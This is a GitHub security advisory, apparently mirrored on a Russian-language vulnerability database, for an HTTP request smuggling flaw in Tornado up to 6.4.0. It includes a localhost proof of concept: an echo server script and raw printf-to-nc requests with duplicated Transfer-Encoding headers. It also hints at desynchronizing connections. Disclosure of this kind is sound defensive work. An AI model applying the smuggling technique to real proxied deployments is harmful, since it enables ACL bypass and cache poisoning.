GHSA-753j-mpmx-qq6g

Опубликовано: 06 июн. 2024

Источник: github

Github: Прошло ревью

CVSS3: 5.3

Описание

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado

Summary

When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.

PoC

Install Tornado.
Start a simple Tornado server that echoes each received request's body:

cat << EOF > server.py import asyncio import tornado class MainHandler(tornado.web.RequestHandler): def post(self): self.write(self.request.body) async def main(): tornado.web.Application([(r"/", MainHandler)]).listen(8000) await asyncio.Event().wait() asyncio.run(main()) EOF python3 server.py &

Send a valid chunked request:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe that the response is as expected:

HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:32:05 GMT Content-Length: 1 Z

Send a request with two Transfer-Encoding: chunked headers:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe the strange response:

HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:35:40 GMT Content-Length: 0 HTTP/1.1 400 Bad Request

This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.

Impact

Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.

Ссылки

Пакеты

Наименование

tornado

pip

Затронутые версииВерсия исправления

<= 6.4.0

6.4.1

5.3 Medium

CVSS3

Дефекты

CWE-444

5.3 Medium

CVSS3

Дефекты

CWE-444